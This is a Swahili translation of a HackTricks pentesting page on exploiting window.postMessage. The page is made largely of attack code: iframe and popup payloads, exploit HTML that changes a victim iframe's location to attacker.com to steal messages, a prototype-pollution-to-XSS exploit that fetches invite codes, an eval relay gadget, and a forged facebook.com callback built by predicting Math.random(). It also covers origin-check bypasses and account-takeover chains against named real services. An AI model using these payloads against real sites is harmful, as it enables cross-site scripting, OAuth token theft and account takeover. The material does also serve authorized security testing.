Udhaifu za PostMessage

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Tuma PostMessage

PostMessage inatumia function ifuatayo kutuma ujumbe:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Kumbuka kwamba targetOrigin inaweza kuwa ‘*’ au URL kama https://company.com.
Katika senario ya pili, ujumbe unaweza kutumwa tu kwa domain hiyo (hata kama origin ya window object ni tofauti).
Ikiwa wildcard imetumika, ujumbe unaweza kutumwa kwa domain yoyote, na yatatumwa kwa origin ya Window object.

Kushambulia iframe & wildcard katika targetOrigin

Kama ilivyoelezwa katika this report ikiwa utakuta ukurasa unaoweza iframed (hakuna ulinzi wa X-Frame-Header) na ambao unatumia postMessage kutuma ujumbe wa nyeti kwa kutumia wildcard (*), unaweza kubadili origin ya iframe na leak ujumbe wa nyeti kwa domain inayodhibitiwa na wewe.\ Kumbuka kwamba ikiwa ukurasa unaweza kuiframed lakini targetOrigin imewekwa kwa URL na si kwa wildcard, hila hii haitafanya kazi.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener exploitation

addEventListener ni function inayotumiwa na JS kutangaza function ambayo inatarajia postMessages.\
Msimbo unaofanana na ufuatao utatumika:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Note katika kesi hii jinsi jambo la kwanza ambalo code inafanya ni kukagua origin. Hii ni sana muhimu hasa ikiwa page itafanya kitu chochote nyeti na taarifa zinazopokelewa (kama kubadilisha password). Ikiwa haitakagua origin, attackers wanaweza kufanya victims watume data yoyote kwa endpoints hizi na kubadilisha nywila za victims (kwa mfano huu).

Uorodheshaji

Ili kupata event listeners kwenye page ya sasa unaweza:

  • Tafuta kwenye JS code kwa window.addEventListener na $(window).on (JQuery version)
  • Endesha katika developer tools console: getEventListeners(window)

  • Nenda kwenye Elements –> Event Listeners katika developer tools za browser

Origin check bypasses

  • Kipengele cha event.isTrusted kinachukuliwa kuwa salama kwani kinarudisha True tu kwa events zinazozalishwa na vitendo halisi vya mtumiaji. Ingawa ni changamoto kuvipita ikiwa kimefanywa ipasavyo, umuhimu wake kwenye ukaguzi wa usalama ni mkubwa.
  • Matumizi ya indexOf() kwa validation ya origin kwenye PostMessage yanaweza kupitishwa. Mfano unaoonyesha udhaifu huu ni:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • search() method kutoka String.prototype.search() imekusudiwa kwa regular expressions, si kwa strings. Kupitisha chochote tofauti na regexp kunasababisha uongozaji wa implicit kwenda regex, na kufanya method iwe hatarishi. Hii ni kwa sababu katika regex, dot (.) inafanya kazi kama wildcard, ikiruhusu kupitishwa kwa validation kwa domains zilizoandaliwa maalum. Kwa mfano:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Kazi ya match(), kama search(), inashughulikia regex. Ikiwa regex imeundwa vibaya, inaweza kuwa rahisi kupitishwa.

  • Kazi ya escapeHtml inalenga kusafisha inputs kwa ku-escape characters. Hata hivyo, haiunde object mpya iliyopigwa escape bali inaandika juu properties za object iliyopo. Tabia hii inaweza kutumiwa vibaya. Kwa namna maalum, ikiwa object inaweza kudhibitiwa ili property inayodhibitiwa isitambue hasOwnProperty, escapeHtml haitafanya kazi kama inavyotarajiwa. Hii inaonyeshwa katika mifano hapa chini:

  • Kushindwa kilichotarajiwa:

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Kupitisha escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

Katika muktadha wa udhaifu huu, object ya File inatolewa kama inayoweza kutumika kwa urahisi kutokana na property yake ya read-only name. Property hii, inapoitwa katika templates, haisafishwi na escapeHtml, na kusababisha hatari za usalama.

  • document.domain property katika JavaScript inaweza kuwekwa na script ili kufupisha domain, kuruhusu utekelezaji mdogo wa same-origin policy ndani ya domain moja ya mzazi.

Origin-only trust + trusted relays

Ikiwa receiver inakagua tu event.origin (mfano, inaamini *.trusted.com yoyote) mara nyingi unaweza kupata “relay” page kwenye origin hiyo inayorudisha params zinazodhibitiwa na attacker kupitia postMessage kwa targetOrigin/targetWindow uliopewa. Mifano ni pamoja na gadgets za marketing/analytics zinazochukua query params na kupeleka {msg_type, access_token, ...} kwa opener/parent. Unaweza:

  • Fungua page ya victim katika popup/iframe ambayo ina opener ili handlers zake zijisajili (pixels/SDK nyingi huweka listeners tu wakati window.opener ipo).
  • Navigate window nyingine ya attacker hadi relay endpoint kwenye trusted origin, ukijaza fields za message unazotaka kuingizwa (message type, tokens, nonces).
  • Kwa sababu message sasa inatoka kwa trusted origin, origin-only validation inapita na unaweza kusababisha tabia zenye ruhusa (mabadiliko ya state, API calls, DOM writes) katika listener ya victim.

Mifumo ya matumizi mabaya iliyoshuhudiwa:

  • Analytics SDKs (mfano, pixel/fbevents-style) zinakula messages kama FACEBOOK_IWL_BOOTSTRAP, kisha huita backend APIs kwa kutumia token iliyotolewa katika message na kujumuisha location.href / document.referrer katika request body. Ikiwa utatoa token yako mwenyewe, unaweza kusoma requests hizi katika request history/logs ya token na kunyakua OAuth codes/tokens zilizomo katika URL/referrer ya page ya victim.
  • Relay yoyote inayoreflect fields yoyote kupitia postMessage inakuwezesha kudanganya message types zinazotarajiwa na privileged listeners. Changanya na validation dhaifu ya input kufikia Graph/REST calls, kufungua features, au flows za CSRF-equivalent.

Vidokezo vya kuwindia: orodheshaji postMessage listeners zinazoangalia tu event.origin, kisha tazama same-origin HTML/JS endpoints zinazotoa URL params kupitia postMessage (marketing previews, login popups, OAuth error pages). Unganisha zote mbili na window.open() + postMessage ili kupita ukaguzi wa origin.

e.origin == window.origin bypass

Wakati ukijumuisha web page ndani ya sandboxed iframe kwa kutumia %%%%%%, ni muhimu kuelewa kwamba origin ya iframe itawekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia sandbox attributes na athari zao kwenye usalama na utendakazi.

Kwa kuweka allow-popups katika sandbox attribute, popup yoyote inayofunguliwa kutoka ndani ya iframe inapata vizuizi vya sandbox vya mzazi. Hii ina maana kwamba isipokuwa attribute ya allow-popups-to-escape-sandbox pia iwepo, popup window origin pia itawekwa kuwa null, ikilingana na origin ya iframe.

Kwa hivyo, wakati popup inafunguliwa chini ya masharti haya na message inatumwa kutoka iframe kwenda popup kwa kutumia postMessage, pande zote za kutuma na kupokea zina origins set kuelekea null. Hali hii inasababisha senario ambapo e.origin == window.origin inakadirika kuwa true (null == null), kwa sababu iframe na popup zinashiriki value ya origin ya null.

Kwa habari zaidi soma:

Bypassing SOP with Iframes - 1

Bypassing e.source

Inawezekana kuangalia ikiwa message ilitoka kwenye window ile ile script inasikiliza (hasa kuvutia kwa Content Scripts kutoka kwa browser extensions kuangalia kama message ilitumwa kutoka kwenye ukurasa ule ule):

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Unaweza kulazimisha e.source ya ujumbe iwe null kwa kuunda iframe ambayo inayotuma postMessage na huondolewa mara moja.

Kwa taarifa zaidi soma:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

Ili kutekeleza mashambulizi haya kwa namna bora utakuwa na uwezo wa kuweka ukurasa wa mtandao wa mwathiriwa ndani ya iframe. Lakini headers zingine kama X-Frame-Header zinaweza kuzuia tabia hiyo.
Katika mazingira hayo bado unaweza kutumia shambulio lisilo la kificho. Unaweza kufungua tabo mpya kwa web application iliyo hatarini na kuwasiliana nayo:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Kuiba ujumbe uliotumwa kwa child kwa kuzuia main page

Katika ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba nyeti postmessage data iliyotumwa kwa child iframe kwa kuzuia ukurasa kuu kabla ya kutuma data na kutumia XSS in the child ku leak the data kabla haijapokelewa:

Blocking main page to steal postmessage

Kuiba ujumbe kwa kubadilisha location ya iframe

Ikiwa unaweza kui-frame webpage bila X-Frame-Header ambayo ina iframe nyingine, unaweza badilisha location ya child iframe hiyo, hivyo ikiwa inapokea postmessage iliyotumwa kwa kutumia wildcard, mshambuliaji anaweza badilisha origin ya iframe hiyo kwa ukurasa unaodhibitiwa naye na kuiba ujumbe:

Steal postmessage modifying iframe location

postMessage to Prototype Pollution and/or XSS

Katika matukio ambapo data inayotumwa kupitia postMessage inatekelezwa na JS, unaweza iframe ukurasa na exploit prototype pollution/XSS kwa kutuma exploit kupitia postMessage.

Mifano michache ya XSS iliyofafanuliwa vizuri kupitia postMessage inaweza kupatikana katika https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Mfano wa exploit ya kutumia Prototype Pollution and then XSS kupitia postMessage kwa iframe:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Kwa maelezo zaidi:

Upakaji wa script uliotokana na origin & pivot ya supply-chain (somo la kesi la CAPIG)

capig-events.js iliregisha tu message handler wakati window.opener ilikuwa imepo. Wakati wa IWL_BOOTSTRAP ilikagua pixel_id lakini ilihifadhi event.origin na baadaye ilitumia kujenga ${host}/sdk/${pixel_id}/iwl.js.

Handler akiandika origin inayodhibitiwa na attacker ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. Pata opener: kwa mfano, katika Facebook Android WebView tumia tena window.name kwa window.open(target, name) ili dirisha liwe opener wake mwenyewe, kisha tuma postMessage kutoka iframe yenye madhara.
  2. Tuma IWL_BOOTSTRAP kutoka origin yoyote ili kuhifadhi host = event.origin katika localStorage.
  3. Host /sdk/<pixel_id>/iwl.js kwenye origin yoyote inayoruhusiwa na CSP (takeover/XSS/upload kwenye domain ya analytics iliyoorodheshwa). startIWL() kisha inapakia attacker JS katika embedding site (mf., www.meta.com), ikiruhusu credentialed cross-origin calls na account takeover.

Ikiwa direct opener control ulikuwa hauwezekani, compromising iframe ya third-party kwenye ukurasa bado kuliruhusu kutuma crafted postMessage kwa parent ili kuchafua host iliyohifadhiwa na kulazimisha script kupakiwa.

Backend-generated shared script → stored XSS: plugin AHPixelIWLParametersPlugin iliunganisha user rule parameters ndani ya JS iliyoongezwa kwenye capig-events.js (mf., cbq.config.set(...)). Kuingiza breakouts kama "]} kuliingiza arbitrary JS, kuunda stored XSS katika shared script iliyotumwa kwa tovuti zote zinazoiweka.

Trusted-origin allowlist si kizuizi

Uthibiti mkali wa event.origin hufanya kazi tu ikiwa trusted origin cannot run attacker JS. Wakati privileged pages zina-embed third-party iframes na zikidhani event.origin === "https://partner.com" ni salama, XSS yoyote katika partner.com inageuka kuwa bridge into the parent:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

Mfumo wa shambulio ulioshuhudiwa katika mazingira ya kweli:

  1. Exploit XSS in the partner iframe na kuacha relay gadget ili kila postMessage iwe code exec ndani ya trusted origin:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. From the attacker page, tuma JS kwa iframe iliyoharibika inayopitisha aina ya ujumbe iliyoruhusiwa kurudi kwa parent. Ujumbe unatoka kwa partner.com, unapita kupitia allowlist, na una HTML inayowekwa kwa njia isiyo salama:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. Parent huingiza attacker HTML, ikitoa JS execution in the parent origin (e.g., facebook.com), ambayo inaweza kutumika kuiba OAuth codes au kupinduka hadi full account takeover flows.

Key takeaways:

  • Partner origin isn’t a boundary: XSS yoyote kwenye partner “trusted” inaruhusu attackers kutuma allowed messages zinazopita event.origin checks.
  • Handlers zinazotumia partner-controlled payloads (mfano, innerHTML kwenye aina maalum za message) hufanya partner compromise kuwa same-origin DOM XSS.
  • Uso mpana wa message surface (aina nyingi, hakuna structure validation) hutoa gadgets zaidi za pivot mara iframe ya partner inapofichuliwa.

Kutabiri Math.random() callback tokens katika postMessage bridges

Wakati message validation inatumia “shared secret” iliyoundwa na Math.random() (mfano, guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) na helper sawa pia inapoa n amina plugin iframes, unaweza kurecover PRNG outputs na kutengeneza trusted messages:

  • Leak PRNG outputs via window.name: The SDK auto-names plugin iframes with guid(). If you control the top frame, iframe the victim page, then navigate the plugin iframe to your origin (e.g., window.frames[0].frames[0].location='https://attacker.com') and read window.frames[0].frames[0].name to obtain a raw Math.random() output.
  • Force more outputs without reloads: Baadhi ya SDKs zinaonyesha reinit path; katika the FB SDK, firing init:post na {xfbml:1} inalazimisha XFBML.parse(), hufuta/huunda upya plugin iframe, na kuzalisha majina/mapokezi mapya ya callback IDs. Repeated reinit inatoa PRNG outputs kadri inavyohitajika (kumbuka simu za ziada za ndani za Math.random() kwa callback/iframe IDs, hivyo solvers lazima wapitishe thamani za kati).
  • Trusted-origin delivery via parameter pollution: Ikiwa first-party plugin endpoint ina-reflect parameter isiyosanitiwa ndani ya cross-window payload (mfano, /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), unaweza inject &type=...&iconSVG=... huku ukidumisha trusted facebook.com origin.
  • Predict the next callback: Convert leaked iframe names back to floats katika [0,1) na ulaze thamani kadhaa (hata zisizo mtawalia) kwenye V8 Math.random predictor (mfano, Z3-based). Generate the next guid() locally ili kuforge expected callback token.
  • Trigger the sink: Tunga postMessage data ili bridge i-dispatch xd.mpn.setupIconIframe na i-inject HTML ndani ya iconSVG (mfano, URL-encoded <img src=x onerror=...>), ukifikia DOM XSS ndani ya hosting origin; kutoka hapo, same-origin iframes (OAuth dialogs, arbiters, n.k.) zinaweza kusomwa.
  • Framing quirks help: Mnyororo unahitaji framing. Katika baadhi ya mobile webviews, X-Frame-Options inaweza kupunguka hadi unsupported ALLOW-FROM wakati frame-ancestors ipo, na vigezo za “compat” vinaweza kulazimisha permissive frame-ancestors, kuwezesha window.name side channel.

Mfano mdogo wa forged message

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks